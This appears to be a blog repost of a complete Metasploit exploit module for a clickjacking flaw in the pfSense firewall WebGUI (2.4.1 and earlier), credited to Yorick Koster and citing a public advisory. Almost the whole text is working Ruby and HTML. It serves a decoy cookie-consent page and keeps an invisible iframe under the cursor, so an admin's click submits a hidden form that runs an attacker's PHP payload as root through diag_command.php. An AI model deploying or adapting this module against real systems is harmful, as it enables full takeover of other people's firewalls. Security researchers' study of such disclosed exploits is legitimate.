Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86385985

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'            => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
        'Description'     => %q{
          This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.

          pfSense is a free and open source firewall and router. It was found that the
          pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
          into interacting with a specially crafted webpage it is possible for an attacker
          to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
          this will result in a full compromise of the pfSense instance.
        },
        'Author'          => 'Yorick Koster',
        'Payload'         => { 'BadChars' => '"' },
        'License'         => MSF_LICENSE,
        'References'      =>
          [
            ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
            ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
          ],
        'DefaultOptions'  =>
          {
            'EXITFUNC'    => 'process'
          },
        'Arch'            => ARCH_PHP,
        'Platform'        => 'php',
        'Targets'         =>
          [
            [ 'pfSense <= 2.4.1', { 'auto' => false } ]
          ],
        'DefaultTarget'   => 0,
        'DisclosureDate'  => 'Nov 21 2017'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
      ]
    )
  end

  def js_file
    @js ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
      return File.read(path)
    }.call
  end

  def css_file
    @css ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
      return File.read(path)
    }.call
  end

  def background_file
    @background ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
      return File.read(path)
    }.call
  end

  def on_request_uri(cli, request)
    print_status("GET #{request.uri} #{request.headers['User-Agent']}")

    resp = create_response(200, "OK")
    if request.uri =~ /\.js$/
      resp.body = js_file
      resp['Content-Type'] = 'text/javascript'

    elsif request.uri =~ /\.css$/
      resp.body = css_file
      resp['Content-Type'] = 'text/css'

    elsif request.uri =~ /\.jpg$/
      resp.body = background_file
      resp['Content-Type'] = 'image/jpg'

    else
      if datastore['TARGETURI'].end_with? '/'
        url = datastore['TARGETURI'] + 'diag_command.php'
      else
        url = datastore['TARGETURI'] + '/diag_command.php'
      end
      framename = rand_text_alpha(16)
      divname = rand_text_alpha(16)
      resp.body = %Q|<!DOCTYPE html>
<html>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
        "palette": {
                "popup": {
                        "background": "#000",
                        "text": "#0f0"
                },
                "button": {
                        "background": "#0f0"
                }
        },
        "position": "top",
        "static": true
        });
});
</script>
<script>
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
window.addEventListener('load', function(){
        document.forms[0].post.click();
        document.onmousemove = function(e) {
                var e = e \|\| window.event;
                var s = document.getElementById('#{divname}');
                s.style.left  = (e.clientX - 10) + 'px';
                s.style.top = (e.clientY - 5) + 'px';
        };
});
</script>
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
</div>
<div style="display:none">
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
        <input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
        <input type="hidden" name="submit" value="EXECPHP" />
        <input type="submit" name="post"/>
</form>
</div>
</body>
</html>
|
      resp['Content-Type'] = 'text/html'
    end

    cli.send_response(resp)
  end
end